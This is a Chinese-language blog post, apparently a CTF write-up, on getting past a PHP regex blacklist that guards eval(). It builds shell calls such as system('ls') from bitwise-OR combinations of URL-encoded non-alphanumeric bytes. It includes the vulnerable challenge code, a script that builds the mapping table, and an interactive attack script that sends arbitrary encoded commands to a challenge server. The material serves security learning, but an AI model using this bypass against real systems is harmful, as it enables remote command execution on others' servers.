命令执行:或运算符脚本绕过
基本概念
基本思路:首先关注该题过滤的符号:
1
2
3
4
5
6
7
8
9
10
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}可见该题未过滤或符号
|
和空格。
所以我们可以使用或运算符|
,利用url
编码的字符通过或运算符计算获取目标字符,进而实现绕过正则匹配。关于
eval
执行的机制:
如下代码也可以被eval
执行:1
2$a = ("system")("ls");
echo($a)该机制为我们后面的脚本编写作铺垫
关于
ascii
码输出机制:在256个
ascii
码中,只有大于等于32小于等于126的ascii
码为可见字符,其余字符并不可见,强行以二进制输出会出现代码,并且该类ascii
所代表的不可见字符也不可以被python自带函数进行切片等其他操作。但是在php环境中,该类不可见字符也可以参与到如或运算这样的字符运算中,但是是以如下形式参与:
1
2
3
4
$c = ("\x13\x19\x13\x14\x05\r"|"``````")("\x0c\x13"|"``");//十六进制转义序列格式,常用于表示 ASCII 码中的不可见字符或特殊字符
$a = ("system")("ls");
echo($c);而根据输出的平台,该种不可见字符输出在前端的效果会有差异,可以自行实验。
代码脚本
首先我们需要创建一个
txt
文件用于储存可被呈现字符与采用或运算|
拼接形成该字符的两个原始字符:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22import re
preg_list = r"[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-"
def write_file(path):
#从ascii码0到255遍历,左闭右开!!!!!!!!
for i in range(256):
for j in range(256):
if not re.match(preg_list, chr(i), re.I) and not re.match(preg_list, chr(j), re.I):
#构造或运算结果
output = i | j
#过滤该结果
if output>=32 and output<=126 :
#转化为url编码
a = "%" + hex(i)[2:].zfill(2)
b = "%" + hex(j)[2:].zfill(2)
content = chr(output)+ "|" + a + "|" + b + "\n"
with open(path, "a", encoding="utf-8") as f:
f.write(content)
print(f"写入成功: {content}")
if __name__ == '__main__':
write_file("rce_output.txt")为什么两个拼接字符要使用
range(256)
,为什么不可以使用range(32,127)
?即只采用32到126的所有ascii
码,因为经过我的实验,这样的话,我们呈现出来拼接字符与最终字符的对照表会缺少一部分字符,包括s
字符,所以还是取用32
之前的字符,
另外,个人已经实验过了,使用range(128)
,也可以获取可以使用的字符完整的映射表,因为在ascii码值为128之后的字符无论和谁进行或运算,其结果均大于128
,写作range(256)
反而显得很冗余。为什么对字符采用
url
编码,这个可见我们后面的脚本中的注释,首先,我们获得的映射表部分如下所示:1
2
3
4
5
6
7
8
9/|%01|%2e
/|%01|%2f
;|%01|%3a
;|%01|%3b
=|%01|%3c
=|%01|%3d
?|%01|%3e
?|%01|%3f
A|%01|%40左边代表或运算最后获得的结果,右边则是组成该结果的经过url编码后的字符。
攻击脚本如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43import requests
import urllib.parse
def transform(strings):
output_a = []
output_b = []
for s in strings:
with open("rce_output.txt", "r", encoding="utf-8") as f:
while True:
l =f.readline()
if l == "":
break
if s == l[0]:#我们如果不使用url编码,使用ascii码呈现的映射表,不好切片,因为数字的位数不同
a = l[2:5]#不便于切片
b = l[6:9]#若将ascii码采用chr处理获取字符,不可见字符则会呈现乱码,无法被代码操作。
output_a.append(a)
output_b.append(b)
break
output_a = "".join(output_a)
output_b = "".join(output_b)
output = f"(\"{output_a}\"|\"{output_b}\")"#需要让指令被引号包裹
return output
def attack():
url = "http://4a43ebf8-4edc-45c2-be43-97c776ad4df2.challenge.ctf.show/"#改成自己的url
function = input("Enter function name:")
command = input("Enter command to execute:")
function_output = transform(function)
command_output = transform(command)
print(urllib.parse.unquote(function_output + command_output))
data = {"c": urllib.parse.unquote(function_output + command_output)}#这里不需要打括号
try:#在这里我们将url编码后的字符解码,就算是不可见字符,也可以被转为16进制数在php中进行或运算
response = requests.post(url, data=data)
print("Status code:\n", response.status_code)
print("Response:\n", response.text)
except requests.exceptions.RequestException as e:
print("出现错误:" + e)
if __name__ == "__main__":
while True:
attack()可见,编码为url编码的意义就是:
- url编码在映射表中方便切片处理
- url编码可以让不可呈现字符在txt文档中呈现,且不可见字符解码后输入于php后端也可以被执行
我们只有算上前32位的不可见字符,才可以来组成最后构建恶意代码的可见字符,否则数量有限,一些字符无法构建。 - 另外
\x13\x19\x13\x14\x05\
这种不可见字符的呈现形式,只是vs code 调试模式方便你看罢了,真正post传给网页的解码后的数据形式不是这样的,因为如果是这样的,会被正则匹配匹配到。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Dedsec的博客!